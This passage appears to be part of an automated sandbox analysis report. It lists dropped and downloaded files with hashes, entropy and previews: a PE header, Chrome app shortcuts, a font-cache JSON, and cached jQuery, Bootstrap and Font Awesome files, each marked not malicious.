Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d.....Wg.........."....)............ ..........@............................. ............`.................................................4...x....p.......@..8"..............d...................................@...@............................................text...p........................... ..`.rdata..(*.......,..................@..@.data....S..........................@....pdata..8"...@...$..................@..@.rsrc........p......................@..@.reloc..d...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 06:35:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9801933655718296
Encrypted:	false
SSDEEP:	48:8udFTNZICHgidAKZdA19ehwiZUklqehTy+3:8U/cIy
MD5:	3A85E4C651AF49352991DBD9F9B9181E
SHA1:	944A725CFE52872CA611820B36F96FFE07846309
SHA-256:	293C6C72509156336920E879CBABCA5C5E017EB73AC472E903516642C3E55997
SHA-512:	8C90FE85DEE23C36D1BA6ED09DB6322BD00903812DC6918411E6C89AF9575A956436863A44BAC982441E3B4DA14878FF780DE8BED6AF1EA19C3D92287639D4C8
Malicious:	false
Preview:	L..................F.@.. ...$+.,........1M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yd<....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yd<....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yd<....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yd<..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yf<...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N0).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 06:35:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.992130640923724
Encrypted:	false
SSDEEP:	48:8TdFTNZICHgidAKZdA1weh/iZUkAQkqeh4y+2:87/u9Q1y
MD5:	D882E61BBB10735E80B73C5716D4459A
SHA1:	77CD9FE5EDD8286AF8FE8EA49D261C9DB6B09994
SHA-256:	36FF9EBECDF1DF53C220D03E6C7498C21792A662FE03102689AB6F1B10398B85
SHA-512:	F99F3B8994124E4EC2FFA8993BE448CACAB1C8AFD669ACA247D53B6366351F5AB4899DAA6C5FE12DFD145C2955E166E5B093BBC25CFC95F2741E21E4AECDD65F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....E...1M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yd<....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yd<....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yd<....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yd<..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yf<...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N0).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007121101934591
Encrypted:	false
SSDEEP:	48:8xadFTNZsHgidAKZdA14tseh7sFiZUkmgqeh7s6y+BX:8xo/1nUy
MD5:	F8E60782EA3D3E48B7545F462433487C
SHA1:	64657581E89BCDCA9F2CDD833742FA725EBED1D7
SHA-256:	0907D41CD268341B0E08538E2A760C45A05A94A35877E6521A5665833720E7C7
SHA-512:	D437A508192B80D59D63F07E050D58BB6422519FFC9CE72304655778F8C0DD721AC96D234C1D9CF05F6CA855055E7669D89A3C282E03BCD89BC91F33A7F5DA55
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yd<....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yd<....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yd<....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yd<..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N0).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 06:35:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.990576304527462
Encrypted:	false
SSDEEP:	48:8rdFTNZICHgidAKZdA1vehDiZUkwqeh8y+R:8T/1Cy
MD5:	BB556746BDB9CDE14718CEA61BDA7A9D
SHA1:	DAFC82C0EC710D434976CBA16293748C8888AE3F
SHA-256:	2234C74AE390D6F93B0B2C8E8DA927CD39EF27420FFED1F6D7455DCB89F2DB44
SHA-512:	9B1958007C7A0C203276EE4519E3042E65F6A160310B234D0015F6469063E68C0C3B5CC9AEAAD05266B3262469713B9763583522AE1954242A55E07B8019F159
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....k..1M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yd<....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yd<....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yd<....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yd<..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yf<...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N0).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 06:35:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.979744348263712
Encrypted:	false
SSDEEP:	48:8rdFTNZICHgidAKZdA1hehBiZUk1W1qehGy+C:8T/l9my
MD5:	013ADD6D2ABEAB7A81DFF03DA3BF6773
SHA1:	E794641608B575B8E3C23B584F6C6C065479C847
SHA-256:	5B19A1CAF5FCF208B88F5F8C4902A695D3C9F0B6E5D4F8A9EBB4219BF845FD7C
SHA-512:	8AE7D7706716F4EE6AA1408942E6768726B2AF790B55558128FBCE23361D3A55310461162B4EA129E69C563F7D67C03DED44CBB4AE3B958F5E1894001AA6CA92
Malicious:	false
Preview:	L..................F.@.. ...$+.,....IS..1M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yd<....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yd<....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yd<....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yd<..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yf<...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N0).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 06:35:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.990483946611309
Encrypted:	false
SSDEEP:	48:8fdFTNZICHgidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbUy+yT+:8P/5T/TbxWOvTbUy7T
MD5:	28D86819C67A8A7A2C7956136CD4F552
SHA1:	81D57CB450051F5AD171219AA821E1D5F35C2507
SHA-256:	1D7DDB28F10CDE523DB78960FA4C5B189D10539ECB0A678016F9A09ADA58C504
SHA-512:	1A5463EA4451A3B54AF0BBB01BAE5B0C18C6F78FCB3545409FF17BD269764A4D32AC2B4637352A8F8254D0BDDECB5A686E8A99CA1E57FEDFA9B0B0CEBBEFEB65
Malicious:	false
Preview:	L..................F.@.. ...$+.,....8.1M..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yd<....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yd<....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yd<....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yd<..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yf<...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N0).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	211903
Entropy (8bit):	4.963549939959261
Encrypted:	false
SSDEEP:	6144:qxbQw+HScbPC4lPEYTHfOo28V4gTWyysauiCavyVyfg2YTs/:6CTs/
MD5:	25C4C6610F9CC7AB58B9EB2E5E9EC8E1
SHA1:	B220C3F0AE8CB325A57E9082F7DD47602E204FB3
SHA-256:	0FBADE78BBD7DF1292D1AC6595DFFB1CD06E05B2429CFD553EF5D79974C0B84D
SHA-512:	1783991B6A937A56D340729EFCDAE3AF3812831447C10C65FAFB8C37DC8C3E640CFE662D6BBBA1C0991297D1AE3CB2DEAA2709FAB968C520547C84890F5941EC
Malicious:	false
Preview:	(function webpackUniversalModuleDefinition(root, factory) {..if(typeof exports === 'object' && typeof module === 'object')...module.exports = factory();..else if(typeof define === 'function' && define.amd)...define([], factory);..else if(typeof exports === 'object')...exports["io"] = factory();..else...root["io"] = factory();.})(this, function() {.return /****/ (function(modules) { // webpackBootstrap./**/ .// The module cache./**/ .var installedModules = {};../**/ .// The require function./**/ .function __webpack_require__(moduleId) {../**/ ..// Check if module is in cache./**/ ..if(installedModules[moduleId])./**/ ...return installedModules[moduleId].exports;../**/ ..// Create a new module (and put it into the cache)./**/ ..var module = installedModules[moduleId] = {./**/ ...exports: {},./**/ ...id: moduleId,./**/ ...loaded: false./**/ ..};../**/ ..// Execute the module function./****/ ..modules[moduleId].call(module.exports

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	dropped
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	troff or preprocessor input, ASCII text, with very long lines (372)
Category:	downloaded
Size (bytes):	35128
Entropy (8bit):	4.829114499413935
Encrypted:	false
SSDEEP:	768:UMtE+A4CSIDqvnI+YTBrFPvVrJjPiRAii4:ptE+A4GDUI+Y9rpVljPiI4
MD5:	A16730221CF9C8B1BAD3DD5419EDF16B
SHA1:	B5020C3860669185BA3F316FA7332CDF5C06F393
SHA-256:	34F195F17D62B4789625AA8CB3535024A72D40FC4D88EE1383154688B9BFAA27
SHA-512:	4CD8CC939D5FF1F64321841272DA08D754ECC16DFA3903D09C14D41C7BB0EC80F16A1289ADCCCBFF1EAAF041B594123C410DBCA12ED2C7ACD23CA57A5F6D1614
Malicious:	false
URL:	https://lipis.github.io/bootstrap-social/assets/css/font-awesome.css
Preview:	/!. Font Awesome 4.6.3 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). /./ FONT PATH. * -------------------------- /.@font-face {. font-family: 'FontAwesome';. src: url('../fonts/fontawesome-webfont.eot?v=4.6.3');. src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.6.3') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.6.3') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.6.3') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.6.3') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.6.3#fontawesomeregular') format('svg');. font-weight: normal;. font-style: normal;.}..fa {. display: inline-block;. font: normal normal normal 14px/1 FontAwesome;. font-size: inherit;. text-rendering: auto;. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}./ makes the font 33% larger relative to the icon container */..

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 71896, version 4.393
Category:	downloaded
Size (bytes):	71896
Entropy (8bit):	7.996746194687547
Encrypted:	true
SSDEEP:	1536:tA4xrPyfyECsyz2wCjYfhO/ORzc7erabg5Z06GEQMo:t3jayEC/2/OI/gcq+bg5C6G7
MD5:	E6CF7C6EC7C2D6F670AE9D762604CB0B
SHA1:	97E438CC545714309882FBCEADBF344FCADDCEC5
SHA-256:	7DACF83F51179DE8D7980A513E67AB3A08F2C6272BB5946DF8FD77C0D1763B73
SHA-512:	DD945FACE918EDF20B7283B7416AE7B3735269945E3F3E379E770425024C1DE1FCDC7CFB952381D295D0D1F58C8AB191FD29030F2051D10501557BD7BFBE3658
Malicious:	false
URL:	https://lipis.github.io/bootstrap-social/assets/fonts/fontawesome-webfont.woff2?v=4.6.3
Preview:	wOF2..............T....y........................?FFTM.. .`........P..K.6.$........ ..\|..L?webf.[8....m;.t.........c6.....>.S.8.{...]?....?=i..%...P......f85J.0..u....f...eB.\...E.l.....Aw..6...f..F...0l...M.`;i.O.U....k."=........./6../eX.q..vf{].-.o,.5.&.}.L..:...0.{.e..V3~....1Mh.M4:9jG..B......K...Y..2c.=..@..V+..=.g.;..%.q,..sYF.oj..D..t....wZ1t.S\...L.....k(...1CK.z.Z!.iM....zH.....D[gcN........E.~.j.VD..[../..TD..........<@.j.cl...}.s.g4...F.f.F..;...H...E...P.#I..1{..X....]..ps.........^(.S........N...1S.....$@..T.\..k"G". V.Z..gf?.{..D..8f............9....g.i.\..... .".u^.+....%...u.S...!.J.Y5.{k..j..J.....i....!..t."...v...C..0...p..as..g.3.....~3/.3.<s.....K...u..t.n.......tS.\|..].~..I* ...I......7y..EL@.B.%....TTT.zu\.....eb.bM..-f.?.... .Os$/.Y....u..7..F.Q5.F..........%.......b`...o....o....c...t..@7..{HK...P..9..(.[..&&..{...W.0e.....8.v.h.a..-..%./..wgg.\|.\E.x.^;H...D..(.J&......D.mo}..0.i...g#.i{....4.3f.;.m.......v{GbP...T.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js
